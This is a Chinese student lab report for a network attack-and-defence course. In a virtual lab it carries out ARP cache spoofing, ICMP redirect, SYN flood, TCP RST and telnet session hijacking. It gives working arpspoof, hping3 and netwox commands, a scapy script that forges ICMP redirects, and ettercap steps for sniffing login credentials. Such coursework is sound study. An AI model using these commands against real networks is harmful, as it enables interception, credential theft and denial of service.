20242938 2024-2025-2 《网络攻防实践》第四周作业
实践内容
在网络攻防实验环境中完成TCP/IP协议栈重点协议的攻击实验,包括ARP缓存欺骗攻击、ICMP重定向攻击、SYN Flood攻击、TCP RST攻击、TCP会话劫持攻击。
实践过程
ARP缓存欺骗攻击
- 原理:
攻击者伪造ARP响应包,声称自己的MAC地址对应受害者的IP(或网关的IP),从而篡改目标设备的ARP缓存表。 - 攻击效果:
- 中间人攻击:流量被劫持到攻击者机器,可监听或篡改数据。
- 拒绝服务:通过虚假ARP响应导致网络通信中断。
- 关键点:
ARP协议无认证机制,局域网内设备易受欺骗。
准备工作
首先,查看本机的ip地址为192.168.200.4,MAC地址为00:0c:29:5d:23:e1

查看靶机的ip地址为192.168.200.5,MAC地址为00:0c:29:a4:5d:cc

步骤1:开启IP转发(避免靶机断网)
echo 1 > /proc/sys/net/ipv4/ip_forward
- 作用:允许攻击机转发流量,使靶机仍能访问外网(避免引起怀疑)。
- 验证:
输出应为cat /proc/sys/net/ipv4/ip_forward1。
![]()
步骤2:查询网关MAC地址
攻击机输入if r查看默认网关为:192.168.200.2

arp -a | grep 192.168.200.1,网关mac地址为00:50:56:ed:8a:21

步骤3:发起ARP欺骗
打开 两个终端,分别执行以下命令:
- 终端1:欺骗靶机,让靶机认为攻击机是网关
arpspoof -i eth0 -t 192.168.200.5 192.168.200.2

- 终端2:欺骗网关,让网关认为攻击机是靶机
arpspoof -i eth0 -t 192.168.200.2 192.168.200.5

- 参数说明:
-i eth0:指定网卡(根据您的输出,接口名为eth0)。-t 目标IP:指定欺骗目标(靶机或网关IP)。
步骤4:验证攻击是否成功
在靶机上执行:
arp -a
- 攻击结果:
网关192.168.200.2的MAC地址被篡改为攻击机的MAC(00:0c:29:5d:23:e1)。
![]()
ICMP重定向攻击
1. 攻击原理
ICMP重定向攻击(ICMP Redirect Attack)利用ICMP协议的类型5(重定向报文),欺骗目标主机修改其路由表,将流量转发到攻击者指定的恶意路由。
- 正常功能:路由器用ICMP重定向优化网络路径(如通知主机更优的下一跳)。
- 攻击利用:伪造ICMP重定向报文,强制目标将流量发送到攻击者控制的节点。
步骤1 开启IP转发(攻击机)*
echo 1 > /proc/sys/net/ipv4/ip_forward
步骤2 构造ICMP重定向包
使用工具(如 scapy)伪造ICMP重定向报文,通知靶机将流量发送到攻击机:
from scapy.all import *
import time
def send_icmp_redirect():
# 参数设置
target_ip = "192.168.200.5" # 靶机IP
gateway_ip = "192.168.200.2" # 网关IP
attacker_ip = "192.168.200.4" # 攻击机IP
# 构造ICMP重定向包(伪装成网关发送)
icmp_pkt = (
IP(src=gateway_ip, dst=target_ip) /
ICMP(type=5, code=1, gw=attacker_ip) / # type=5表示重定向,code=1表示主机重定向
IP(src=target_ip, dst="8.8.8.8") / # 触发重定向的示例流量(任意外部IP)
UDP(sport=12345, dport=80) # 任意传输层内容
)
send(icmp_pkt, verbose=False)
# 持续发送(每2秒一次)
while True:
send_icmp_redirect()
time.sleep(2)
| 字段 | 值 | 作用 |
|---|---|---|
| IP.src | gateway_ip |
伪装成网关发送的包,增加可信度。 |
| ICMP.type | 5 |
表示ICMP重定向报文。 |
| ICMP.code | 1 |
代码1表示“主机重定向”(0为网络重定向)。 |
| ICMP.gw | attacker_ip |
指定重定向的“新网关”(即攻击机IP)。 |
| 内层IP.dst | 8.8.8.8 |
示例流量目标(需与靶机实际访问的IP无关,仅触发重定向逻辑)。 |
步骤3 持续发送重定向包
sudo python3 '/home/kali/Desktop/icmp_attack.py'

验证攻击是否成功
输入echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects,临时允许靶机接收重定向

靶机输入traceroute 8.8.8.8 ,可以观察到流量第一跳经过攻击机 (192.168.200.4),攻击成功了。

SYN Flood攻击
SYN Flood是一种典型的 DoS/DDoS攻击,利用TCP协议的三次握手缺陷:
- 攻击者发送大量 SYN包 到目标服务器
- 服务器回应 SYN-ACK 并等待客户端ACK
- 攻击者 不完成握手,导致服务器资源耗尽
kali输入sudo hping3 -S -p 80 --flood --rand-source 192.168.200.5
靶机输入watch -n 1 "netstat -antp | grep 'SYN_RECV' | wc -l",实时监控半开TCP连接数 的Linux命令组合,主要用于检测SYN Flood攻击。
kali同时开了4个终端一起发,感觉效果一般。

TCP RST攻击
在arp实验的基础上继续进行。
kali输入sudo netwox 78 -i 192.168.200.5
靶机无法访问网站

TCP会话劫持攻击
TCP会话劫持是通过预测或窃取TCP序列号,伪造数据包冒充合法通信方接管会话的攻击技术,防御需依赖加密通信和协议强化。
准备工作
首先打开Metasploitable和seed虚拟机,并确保网络是通的


然后在kali端进行截获
- 扫描主机:
- 点击菜单栏
Hosts→Scan for hosts
- 点击菜单栏
- 选择目标:
Hosts→Hosts list→ 选中网关192.168.200.123→ 点击Add to Target 1- 选中靶机
192.168.200.5→ 点击Add to Target 2
![]()
- 启动ARP欺骗:
Mitm→ARP poisoning→ 勾选Sniff remote connections
- 开始嗅探:
Start→Start sniffing
然后在seed端输入telnet 192.168.200.123发起登录

在kali端找到端口为23且为TCP协议的包,可以得到

查看详细信息可以看到用户名密码的信息

遇到的问题及总结
1.IMCP攻击没有生效,持续发送重定向包后,未出现异常路由条目

攻击未成功的原因是靶机系统禁用了ICMP重定向接收
-
现代Linux系统默认忽略ICMP重定向包。
-
验证命令:
cat /proc/sys/net/ipv4/conf/all/accept_redirects
输出为 0 表示已禁用(需改为 1 才能测试攻击)。由图可知,输出为0,已禁用。

输入echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects,临时允许靶机接收重定向

2.在VMware NAT模式下,虚拟机的网络流量会经过宿主机的NAT转换层,导致以下问题:
- ICMP重定向包被宿主机的虚拟网络设备(VMnet8)过滤,无法到达靶机。
- 虚拟网关(192.168.200.2)由VMware虚拟化实现,不遵循标准网络协议行为。
- NAT层的路由逻辑固定,无法通过ICMP重定向修改。



浙公网安备 33010602011771号